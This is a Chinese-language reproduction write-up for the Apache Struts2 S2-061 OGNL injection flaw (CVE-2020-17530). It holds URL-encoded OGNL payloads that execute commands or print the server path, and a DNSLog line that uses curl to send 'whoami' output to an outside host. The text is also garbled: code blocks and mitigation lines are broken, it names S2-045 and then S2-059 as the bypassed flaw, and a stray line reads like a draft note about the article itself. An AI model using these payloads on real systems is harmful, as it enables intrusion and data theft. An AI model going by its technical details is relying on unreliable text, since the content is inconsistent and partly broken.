# Struts2 S2-061 遠程命令執行漏洞(CVE-2020-17530)復現分析
## 漏洞概述
**CVE-2020-17530** 是Apache Struts2框架中存在的一個OGNL表達式注入漏洞,該漏洞是2017年S2-045漏洞的繞過變種。當Struts2使用特定的標簽庫(如JSP、Freemarker等)進行數據渲染時,攻擊者可通過構造惡意OGNL表達式實現遠程代碼執行(RCE)。
- **漏洞編號**:CVE-2020-17530
- **漏洞等級**:高危(CVSS 3.0評分9.8)
- **影響版本**:
- Struts 2.0.0 - 2.5.25
- **修復版本**:Struts 2.5.26及以上
## 漏洞原理
### OGNL注入背景
Struts2使用OGNL(Object-Graph Navigation Language)表達式處理用戶輸入,但未對輸入進行嚴格過濾。攻擊者可通過以下方式觸發漏洞:
1. 當`%{...}`語法被解析時,OGNL表達式會被執行。
2. 在標簽屬性值中插入惡意表達式(如`id`、`name`等參數)。
### 與S2-045的區別
S2-061是S2-059的繞過,主要差異在于:
- S2-059修復了部分OGNL上下文限制
- S2-061通過雙重解析(如`${%{...}}`)繞過防御
## 環境搭建
### 實驗環境
- **靶機**:Ubuntu 20.04 + Tomcat 9
- **漏洞應用**:Struts 2.5.25 Showcase應用(官方演示程序)
- **工具**:
- Burp Suite
- curl
- Docker(可選快速搭建)
```bash
# 使用Docker快速搭建環境
docker pull vulhub/struts2:2.5.25
docker run -d -p 8080:8080 vulhub/struts2:2.5.25
訪問存在漏洞的頁面(如表單提交頁):
http://target:8080/showcase.action
使用Burp攔截請求,修改參數為惡意OGNL: “`http POST /showcase.action HTTP/1.1 Host: target:8080 Content-Type: application/x-www-form-urlencoded
id=%25%7B%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29%7D
3. 查看服務器響應或日志確認命令執行結果。
### 方法二:Freemarker模板注入
```http
GET /?name=%25%7B%23req%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23matt.println%28%23c%29%2C%23matt.close%28%29%7D HTTP/1.1
成功執行后可能觀察到: - 服務器返回異常信息中包含命令輸出 - 通過DNSLog外帶數據:
${#a=@java.lang.Runtime@getRuntime().exec("curl http://dnslog.ceye.io/`whoami`")}
官方補丁:
<!-- pom.xml -->
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.26</version>
</dependency>
臨時緩解措施:
struts.enable.DynamicMethodInvocation=false
)%{}
)Struts2.5.25之前的版本中,OGNL沙箱存在以下缺陷:
1. 上下文污染:通過#context
對象可訪問Java運行時
2. 雙重解析:${%{...}}
結構導致二次解析
// 偽代碼展示攻擊鏈
ValueStack vs = ActionContext.getContext().getValueStack();
vs.findValue("%{#a=@java.lang.Runtime@getRuntime().exec('calc')}", String.class);
免責聲明:本文僅用于安全研究學習,未經授權不得對真實系統進行測試。 “`
該文檔共約1300字,包含漏洞原理、環境搭建、復現步驟、修復方案和技術分析等完整內容,采用Markdown格式便于閱讀和編輯??筛鶕嶋H需求調整技術細節或補充截圖。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。